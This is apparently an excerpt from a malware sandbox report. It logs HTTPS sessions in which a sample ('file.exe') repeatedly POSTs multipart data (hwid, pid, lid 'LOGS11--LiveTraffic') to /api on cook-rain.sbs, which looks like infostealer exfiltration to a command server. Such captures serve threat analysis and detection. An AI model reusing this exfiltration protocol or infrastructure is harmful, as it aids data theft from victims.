37 41 38 51 54 65 Data Ascii: uQltGcsnBCdRzlkGMj/Fxym9FON3HQHKxGBz8Qyjl5vZPYydanOUh/XLrUYTTxXnifkRJyeMNd/gApNQrPFnusnJTWn7lrXXYa8J4mf7lSZtfJQEFm303iRB07CMcRbOyF1s/YuXUPK1zplGo28VN6n54PfmTJUPoULzgPxxl2pZef25O0dEt0HaLaJjbhFSbXpxB6euZX+A9oJ0jQVn2g2sCWnLJxRXwV6J5pOPldd56SAHtwyVD4Cy07A8QTe
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 57 6e 37 49 35 46 7a 4d 51 34 5a 68 75 50 76 39 63 63 70 32 59 43 33 74 39 7a 46 44 39 41 79 34 35 41 38 77 58 66 71 43 51 6e 74 57 62 73 58 5a 41 65 31 79 73 31 47 45 70 75 51 30 2b 73 6f 59 4c 65 58 43 49 51 37 6f 66 61 44 38 4b 69 55 34 36 6f 4a 4f 65 30 4a 32 79 65 45 6c 37 47 65 71 51 5a 7a 66 2f 56 6e 47 54 6c 41 46 34 63 73 52 53 2f 67 63 70 4e 41 33 47 48 58 2f 73 31 4e 6a 52 67 50 34 68 44 30 49 66 39 49 4e 32 50 62 6c 4b 4d 49 37 52 42 33 73 32 6b 42 7a 31 46 43 49 79 43 4d 77 5a 66 36 2b 56 6e 39 75 65 73 6e 4e 47 65 78 72 74 6e 58 51 79 39 56 74 35 6d 5a 30 4f 65 6e 7a 4c 55 62 52 49 61 44 38 65 69 55 34 36 67 4a 32 56 2b 4a 4f 79 66 67 39 73 55 76 76 55 59 54 32 35 44 54 36 62 6d 77 78 2b 64 73 46 5a 2f 41 30 68 50 51 66 43 45 33 6d 71 6c 35 Data Ascii: Wn7I5FzMQ4ZhuPv9ccp2YC3t9zFD9Ay45A8wXfqCQntWbsXZAe1ys1GEpuQ0+soYLeXCIQ7ofaD8KiU46oJOe0J2yeEl7GeqQZzf/VnGTlAF4csRS/gcpNA3GHX/s1NjRgP4hD0If9IN2PblKMI7RB3s2kBz1FCIyCMwZf6+Vn9uesnNGexrtnXQy9Vt5mZ0OenzLUbRIaD8eiU46gJ2V+JOyfg9sUvvUYT25DT6bmwx+dsFZ/A0hPQfCE3mql5
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 64 51 38 72 58 4f 53 62 62 7a 4c 32 56 48 65 62 6e 41 56 2b 63 38 6c 61 38 41 77 69 4f 41 44 50 46 33 2b 6d 6d 5a 6e 63 6b 62 6c 78 53 48 41 4f 6f 74 6f 6d 4e 75 45 56 4a 74 65 34 42 32 56 34 32 42 7a 72 53 44 46 34 41 63 56 57 49 75 79 65 6b 74 6d 63 75 58 56 4a 64 68 72 76 6c 57 6b 77 2b 56 70 36 6e 4a 67 47 64 6e 76 4e 55 66 41 55 49 6a 4d 4a 78 52 39 32 6f 64 72 57 6c 70 2b 6d 4f 52 63 7a 4c 65 2b 61 61 44 62 76 46 57 48 5a 69 45 42 77 65 6f 67 45 74 41 63 6b 4e 77 58 47 46 58 6d 74 6b 49 72 45 6c 4c 64 78 53 6e 38 58 37 4a 4a 30 4e 2f 5a 63 66 5a 53 59 42 33 39 36 77 6c 2f 7a 52 6d 5a 34 41 64 46 57 49 75 79 35 6a 38 61 56 2f 6d 59 42 61 6c 7a 6c 6d 43 5a 70 75 56 31 7a 6e 35 73 45 63 48 76 50 57 76 30 55 49 54 30 49 79 52 4a 78 6f 35 79 63 31 5a 69 Data Ascii: dQ8rXOSbbzL2VHebnAV+c8la8AwiOADPF3+mmZnckblxSHAOotomNuEVJte4B2V42BzrSDF4AcVWIuyektmcuXVJdhrvlWkw+Vp6nJgGdnvNUfAUIjMJxR92odrWlp+mORczLe+aaDbvFWHZiEBweogEtAckNwXGFXmtkIrElLdxSn8X7JJ0N/ZcfZSYB396wl/zRmZ4AdFWIuy5j8aV/mYBalzlmCZpuV1zn5sEcHvPWv0UIT0IyRJxo5yc1Zi
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 68 4f 69 32 69 59 32 34 52 55 6d 31 37 41 62 64 48 72 46 48 4f 74 49 4d 58 67 42 78 56 59 69 37 4a 61 57 30 35 69 30 66 30 74 32 47 75 69 52 5a 6a 72 36 57 6e 71 52 6c 51 39 33 66 63 46 64 38 67 4d 69 4d 77 44 45 46 58 79 71 32 74 61 57 6e 36 59 35 46 7a 4d 38 2b 5a 6c 71 4e 72 6c 4b 4d 49 37 52 42 33 73 32 6b 42 7a 2f 43 69 77 2f 42 73 51 56 63 71 6d 65 6b 74 4f 59 74 6d 74 48 63 78 76 77 68 6d 59 34 2f 46 6c 39 6c 35 55 47 66 6e 44 4c 57 4c 52 49 61 44 38 65 69 55 34 36 67 5a 61 66 2f 35 2b 6c 4f 56 41 39 42 61 4b 54 61 6e 47 68 46 58 2b 63 6d 77 39 36 64 63 35 66 2f 77 4d 69 4f 51 48 42 47 32 69 76 6c 5a 66 53 6d 4c 46 2f 53 58 49 54 35 4a 4e 76 4d 50 46 53 50 74 6e 52 42 32 38 32 6b 42 7a 61 41 53 73 38 52 74 5a 59 59 2b 79 64 6c 4a 62 41 2f 6e 6c 46 Data Ascii: hOi2iY24RUm17AbdHrFHOtIMXgBxVYi7JaW05i0f0t2GuiRZjr6WnqRlQ93fcFd8gMiMwDEFXyq2taWn6Y5FzM8+ZlqNrlKMI7RB3s2kBz/Ciw/BsQVcqmektOYtmtHcxvwhmY4/Fl9l5UGfnDLWLRIaD8eiU46gZaf/5+lOVA9BaKTanGhFX+cmw96dc5f/wMiOQHBG2ivlZfSmLF/SXIT5JNvMPFSPtnRB282kBzaASs8RtZYY+ydlJbA/nlF
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 4d 6d 44 72 63 56 5a 74 66 4a 51 45 4a 31 78 6c 4c 7a 45 44 6c 31 49 64 38 63 66 62 79 64 6a 39 6e 59 38 44 6c 4a 4d 30 53 78 32 69 59 31 36 42 55 6d 78 38 4e 62 49 69 57 66 44 4b 59 5a 5a 69 46 47 33 31 59 69 2f 74 54 59 78 4e 6a 6d 4f 51 68 77 44 76 43 53 5a 53 66 36 45 6b 43 70 74 68 70 36 63 4e 39 4e 79 6a 67 76 49 67 76 50 41 57 76 67 6a 35 76 59 6c 72 6c 76 44 7a 31 63 37 64 51 2b 43 4c 6b 64 50 71 6a 66 51 47 38 32 6b 42 7a 42 42 53 59 32 41 64 38 48 4e 34 75 41 6c 64 43 50 72 7a 6b 42 4d 78 71 69 7a 44 5a 2f 75 56 46 76 31 38 6c 51 4a 53 32 64 44 36 4e 57 65 69 64 49 30 46 5a 73 37 4d 4c 4b 6d 4e 69 73 4f 52 63 7a 57 2b 47 47 64 44 66 36 51 33 33 51 72 7a 35 5a 63 63 35 5a 38 78 5a 71 46 67 33 64 45 54 72 69 32 70 65 57 77 49 63 35 42 7a 4d 6a 72 Data Ascii: MmDrcVZtfJQEJ1xlLzEDl1Id8cfbydj9nY8DlJM0Sx2iY16BUmx8NbIiWfDKYZZiFG31Yi/tTYxNjmOQhwDvCSZSf6EkCpthp6cN9NyjgvIgvPAWvgj5vYlrlvDz1c7dQ+CLkdPqjfQG82kBzBBSY2Ad8HN4uAldCPrzkBMxqizDZ/uVFv18lQJS2dD6NWeidI0FZs7MLKmNisORczW+GGdDf6Q33Qrz5Zcc5Z8xZqFg3dETri2peWwIc5BzMjr
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 33 46 58 71 47 30 56 67 6e 4a 4a 4d 4a 70 31 46 34 61 68 6d 48 44 7a 71 36 32 73 43 45 31 76 35 72 44 79 74 63 70 5a 64 30 49 2f 39 57 61 4a 54 57 50 6b 6c 52 78 6c 76 31 45 44 67 76 43 59 59 34 54 49 32 6b 70 73 4f 62 73 48 64 49 5a 51 32 69 32 69 59 2b 75 51 31 48 31 39 6c 41 53 44 69 49 52 4c 52 65 61 41 30 46 78 78 68 39 75 6f 76 56 38 5a 61 35 65 46 6c 6a 43 2b 33 62 53 41 66 59 46 54 44 58 6c 30 41 76 4a 49 59 63 38 42 64 6f 59 46 61 62 54 53 2f 2f 7a 63 69 45 68 2f 42 67 44 32 56 63 75 73 59 6f 63 65 73 56 4a 74 66 57 41 32 56 6b 7a 6c 2f 69 42 57 38 47 4f 4f 34 59 66 61 32 4d 69 4e 75 55 6e 33 70 65 65 53 4c 63 67 57 55 2f 39 31 4a 6f 68 74 46 4f 4e 33 6d 49 42 4d 31 47 59 48 67 35 68 31 5a 69 37 4d 4c 59 34 35 75 77 64 30 68 6c 44 61 2b 7a 61 44 Data Ascii: 3FXqG0VgnJJMJp1F4ahmHDzq62sCE1v5rDytcpZd0I/9WaJTWPklRxlv1EDgvCYY4TI2kpsObsHdIZQ2i2iY+uQ1H19lASDiIRLReaA0Fxxh9uovV8Za5eFljC+3bSAfYFTDXl0AvJIYc8BdoYFabTS//zciEh/BgD2VcusYocesVJtfWA2Vkzl/iBW8GOO4Yfa2MiNuUn3peeSLcgWU/91JohtFON3mIBM1GYHg5h1Zi7MLY45uwd0hlDa+zaD
2024-11-20 05:40:08 UTC	1369	IN	Data Raw: 73 5a 49 57 64 44 61 47 48 4f 78 47 63 48 67 72 32 78 46 71 72 39 69 30 30 5a 57 79 4f 56 41 39 42 61 4b 43 4a 6d 6d 71 47 7a 36 46 30 56 67 33 4d 63 74 4f 35 67 41 72 4c 67 57 4f 4b 45 53 42 69 4a 2f 47 6d 2f 78 49 51 6e 63 4b 39 35 64 32 4e 73 64 72 55 34 57 57 45 48 51 30 37 57 61 32 4e 7a 34 37 42 73 63 52 4f 75 4c 61 67 4a 62 41 2f 6c 52 64 64 41 7a 68 31 6b 4d 4c 75 32 52 6f 6c 4a 45 4f 63 44 62 58 45 75 31 47 50 6e 68 65 6d 6c 67 36 76 74 72 41 6c 74 2b 77 64 45 35 77 45 75 47 47 64 44 66 36 51 33 33 51 72 7a 35 59 66 63 6c 4d 2b 52 63 6c 50 42 44 33 4b 46 32 71 6e 35 2f 6f 70 6f 6c 6f 53 47 4e 65 78 4a 64 77 4d 72 6b 62 50 6f 2f 52 57 44 64 52 7a 6c 6e 7a 52 6d 5a 34 41 6f 6c 4f 4f 6f 4f 52 6d 63 61 56 72 33 52 4c 5a 56 37 46 6b 6d 4d 32 75 52 73 Data Ascii: sZIWdDaGHOxGcHgr2xFqr9i00ZWyOVA9BaKCJmmqGz6F0Vg3MctO5gArLgWOKESBiJ/Gm/xIQncK95d2NsdrU4WWEHQ07Wa2Nz47BscROuLagJbA/lRddAzh1kMLu2RolJEOcDbXEu1GPnhemlg6vtrAlt+wdE5wEuGGdDf6Q33Qrz5YfclM+RclPBD3KF2qn5/opoloSGNexJdwMrkbPo/RWDdRzlnzRmZ4AolOOoORmcaVr3RLZV7FkmM2uRs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:09 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H958Z0D249F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12799 Host: cook-rain.sbs
2024-11-20 05:40:09 UTC	12799	OUT	Data Raw: 2d 2d 48 39 35 38 5a 30 44 32 34 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 32 31 41 38 33 39 35 44 34 44 44 32 38 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 48 39 35 38 5a 30 44 32 34 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 39 35 38 5a 30 44 32 34 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 39 35 38 5a 30 44 32 34 39 46 Data Ascii: --H958Z0D249FContent-Disposition: form-data; name="hwid"FC21A8395D4DD28663CFCF7E6C45F838--H958Z0D249FContent-Disposition: form-data; name="pid"2--H958Z0D249FContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--H958Z0D249F
2024-11-20 05:40:09 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ieu4eu3sffj652hh18ds7cnbrc; expires=Sat, 15-Mar-2025 23:26:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mn8tdA7haKXXbpPR7SYdV8KJlVR3%2Fd1472zhhtwxvp1lf14qgfHKBesADAGcLcV0mmZAnVCRBAVkV%2FjnTJwohROiYKlPrbTpMcWXXjaah7a2GKBotpoMNJHTlR0UhRp8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561a86398c42f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13729&delivery_rate=1772920&cwnd=227&unsent_bytes=0&cid=9eddca940b319ba8&ts=576&x=0"
2024-11-20 05:40:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 05:40:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:10 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DGZNVTITCC3PDOMC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15071 Host: cook-rain.sbs
2024-11-20 05:40:10 UTC	15071	OUT	Data Raw: 2d 2d 44 47 5a 4e 56 54 49 54 43 43 33 50 44 4f 4d 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 32 31 41 38 33 39 35 44 34 44 44 32 38 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 44 47 5a 4e 56 54 49 54 43 43 33 50 44 4f 4d 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 47 5a 4e 56 54 49 54 43 43 33 50 44 4f 4d 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --DGZNVTITCC3PDOMCContent-Disposition: form-data; name="hwid"FC21A8395D4DD28663CFCF7E6C45F838--DGZNVTITCC3PDOMCContent-Disposition: form-data; name="pid"2--DGZNVTITCC3PDOMCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-20 05:40:11 UTC	991	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bve7bnp40pn5651j5lf1pui286; expires=Sat, 15-Mar-2025 23:26:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K661%2BMmimleQasigxCBqVShlI8WKxr%2F9wLX0oqJZO%2FcyS4tVjEzHWmjGbdI%2FwpoZvUni%2BkEXFiZLtbl7g1JYW0Jd%2FgjBT6wSY4gyTZFqxzFtFZXGgDJHCC1Ty70%2BQ5fU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561a8d9e4f42c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2134&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2829&recv_bytes=16006&delivery_rate=1374764&cwnd=208&unsent_bytes=0&cid=809b990ba34cd06c&ts=740&x=0"
2024-11-20 05:40:11 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 05:40:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:11 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R4P71416FCVMA8S0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20561 Host: cook-rain.sbs
2024-11-20 05:40:11 UTC	15331	OUT	Data Raw: 2d 2d 52 34 50 37 31 34 31 36 46 43 56 4d 41 38 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 32 31 41 38 33 39 35 44 34 44 44 32 38 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 52 34 50 37 31 34 31 36 46 43 56 4d 41 38 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 34 50 37 31 34 31 36 46 43 56 4d 41 38 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --R4P71416FCVMA8S0Content-Disposition: form-data; name="hwid"FC21A8395D4DD28663CFCF7E6C45F838--R4P71416FCVMA8S0Content-Disposition: form-data; name="pid"3--R4P71416FCVMA8S0Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-20 05:40:11 UTC	5230	OUT	Data Raw: 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-11-20 05:40:12 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3o7vljt1rug7240lamj395iu77; expires=Sat, 15-Mar-2025 23:26:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NvlWqIMl5MM2hRd%2BFnrrN5gbIxEmYxLXDNOpj%2Bw70d%2FbWOnCnKluh3WBwvzfVvnzOogkGtrmaq4gN2yyM%2BFtqDh19Ds2BnmB4Gprqq5Bw1tNxm5wCVUrlt2MK6TQ%2FJOk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561a96efb7c40e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1747&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2828&recv_bytes=21518&delivery_rate=1629464&cwnd=173&unsent_bytes=0&cid=8045362a59e07ae4&ts=561&x=0"
2024-11-20 05:40:12 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 05:40:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:13 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IDNHNDOCUW82Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1211 Host: cook-rain.sbs
2024-11-20 05:40:13 UTC	1211	OUT	Data Raw: 2d 2d 49 44 4e 48 4e 44 4f 43 55 57 38 32 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 32 31 41 38 33 39 35 44 34 44 44 32 38 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 49 44 4e 48 4e 44 4f 43 55 57 38 32 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 44 4e 48 4e 44 4f 43 55 57 38 32 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 44 4e 48 4e Data Ascii: --IDNHNDOCUW82ZContent-Disposition: form-data; name="hwid"FC21A8395D4DD28663CFCF7E6C45F838--IDNHNDOCUW82ZContent-Disposition: form-data; name="pid"1--IDNHNDOCUW82ZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IDNHN
2024-11-20 05:40:13 UTC	989	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j7lc6kjph4lo9v0ceqgdkvgsls; expires=Sat, 15-Mar-2025 23:26:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LJHuRJWCQNc0Yq7wNYUvbI%2BEjUT%2B8wn%2ByrkT0Dzv7qYoe6nmVKNZyBdrD7jZ5LULB%2BK%2FvoPv5Bi0n68gP%2Bqf8cVRb0LYS4H%2BNDL2FcSDhqSSJbPxv8r2VYpDow6Piqvh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561aa009fe7ce4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2120&delivery_rate=1433480&cwnd=223&unsent_bytes=0&cid=c7b6c2d6679c1e88&ts=436&x=0"
2024-11-20 05:40:13 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 05:40:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:14 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LK76SSW4RCAHIFJC1NP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551218 Host: cook-rain.sbs
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: 2d 2d 4c 4b 37 36 53 53 57 34 52 43 41 48 49 46 4a 43 31 4e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 32 31 41 38 33 39 35 44 34 44 44 32 38 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4c 4b 37 36 53 53 57 34 52 43 41 48 49 46 4a 43 31 4e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 4b 37 36 53 53 57 34 52 43 41 48 49 46 4a 43 31 4e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --LK76SSW4RCAHIFJC1NPContent-Disposition: form-data; name="hwid"FC21A8395D4DD28663CFCF7E6C45F838--LK76SSW4RCAHIFJC1NPContent-Disposition: form-data; name="pid"1--LK76SSW4RCAHIFJC1NPContent-Disposition: form-data; name="lid"LOGS11--Li
